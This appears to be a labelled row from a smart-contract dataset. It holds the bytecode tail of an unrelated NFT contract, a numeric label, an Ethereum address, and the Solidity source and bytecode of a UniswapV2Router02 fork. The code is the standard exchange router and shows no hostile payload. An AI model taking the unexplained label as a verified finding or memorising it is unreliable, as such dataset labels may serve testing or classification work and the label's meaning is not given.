82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561324757808201518184015260208101905061322c565b83811115613256576000848401525b50505050565b6000600282049050600182168061327457607f821691505b6020821081141561328857613287613397565b5b50919050565b61329782613438565b810181811067ffffffffffffffff821117156132b6576132b56133f5565b5b80604052505050565b60006132ca82613210565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132fd576132fc613339565b5b600182019050919050565b600061331382613210565b915061331e83613210565b92508261332e5761332d613368565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f6e6c7920617070726f7665642073746166662063616e206163742068657265600082015250565b7f4f6e6c792041646d696e2063616e206163742074686973206f7065726174696f60008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f7567687420616d6f756e7420746f206275792074686973204e60008201527f4654000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6c6c656374696f6e206973206e6f74206d6f726520617661696c61626c65600082015250565b7f4d6178203130204d696e74732065616368207472616e73616374696f6e000000600082015250565b61356b81613194565b811461357657600080fd5b50565b613582816131b8565b811461358d57600080fd5b50565b613599816131c4565b81146135a457600080fd5b50565b6135b081613210565b81146135bb57600080fd5b5056fea2646970667358221220f0e80a27b3a31491d85d2faca9a23a5ad08dd94904c9a7c7534a654bfd47a00d64736f6c63430008070033 | [
38
] |
0xf3560c34F7Bf6a859c50CAc5D916036C01AAb019 | /**
*Submitted for verification at Etherscan.io on 2020-06-05
*/
pragma solidity =0.6.6;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract UniswapV2Router02 is IUniswapV2Router02 {
using SafeMath for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'017506384b44e037b32c5a06cdeba064da0983a26d258e0b62d488ae4262513b' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
} | 0x60806040526004361061014f5760003560e01c80638803dbee116100b6578063c45a01551161006f578063c45a015514610a10578063d06ca61f14610a25578063ded9382a14610ada578063e8e3370014610b4d578063f305d71914610bcd578063fb3bdb4114610c1357610188565b80638803dbee146107df578063ad5c464814610875578063ad615dec146108a6578063af2979eb146108dc578063b6f9de951461092f578063baa2abde146109b357610188565b80634a25d94a116101085780634a25d94a146104f05780635b0d5984146105865780635c11d795146105f9578063791ac9471461068f5780637ff36ab51461072557806385f8c259146107a957610188565b806302751cec1461018d578063054d50d4146101f957806318cbafe5146102415780631f00ca74146103275780632195995c146103dc57806338ed17391461045a57610188565b3661018857336001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2161461018657fe5b005b600080fd5b34801561019957600080fd5b506101e0600480360360c08110156101b057600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a00135610c97565b6040805192835260208301919091528051918290030190f35b34801561020557600080fd5b5061022f6004803603606081101561021c57600080fd5b5080359060208101359060400135610db1565b60408051918252519081900360200190f35b34801561024d57600080fd5b506102d7600480360360a081101561026457600080fd5b813591602081013591810190606081016040820135600160201b81111561028a57600080fd5b82018360208201111561029c57600080fd5b803590602001918460208302840111600160201b831117156102bd57600080fd5b91935091506001600160a01b038135169060200135610dc6565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103135781810151838201526020016102fb565b505050509050019250505060405180910390f35b34801561033357600080fd5b506102d76004803603604081101561034a57600080fd5b81359190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b803590602001918460208302840111600160201b8311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110f3945050505050565b3480156103e857600080fd5b506101e0600480360361016081101561040057600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a08101359091169060c08101359060e081013515159060ff6101008201351690610120810135906101400135611129565b34801561046657600080fd5b506102d7600480360360a081101561047d57600080fd5b813591602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460208302840111600160201b831117156104d657600080fd5b91935091506001600160a01b038135169060200135611223565b3480156104fc57600080fd5b506102d7600480360360a081101561051357600080fd5b813591602081013591810190606081016040820135600160201b81111561053957600080fd5b82018360208201111561054b57600080fd5b803590602001918460208302840111600160201b8311171561056c57600080fd5b91935091506001600160a01b03813516906020013561136e565b34801561059257600080fd5b5061022f60048036036101408110156105aa57600080fd5b506001600160a01b0381358116916020810135916040820135916060810135916080820135169060a08101359060c081013515159060ff60e082013516906101008101359061012001356114fa565b34801561060557600080fd5b50610186600480360360a081101561061c57600080fd5b813591602081013591810190606081016040820135600160201b81111561064257600080fd5b82018360208201111561065457600080fd5b803590602001918460208302840111600160201b8311171561067557600080fd5b91935091506001600160a01b038135169060200135611608565b34801561069b57600080fd5b50610186600480360360a08110156106b257600080fd5b813591602081013591810190606081016040820135600160201b8111156106d857600080fd5b8201836020820111156106ea57600080fd5b803590602001918460208302840111600160201b8311171561070b57600080fd5b91935091506001600160a01b03813516906020013561189d565b6102d76004803603608081101561073b57600080fd5b81359190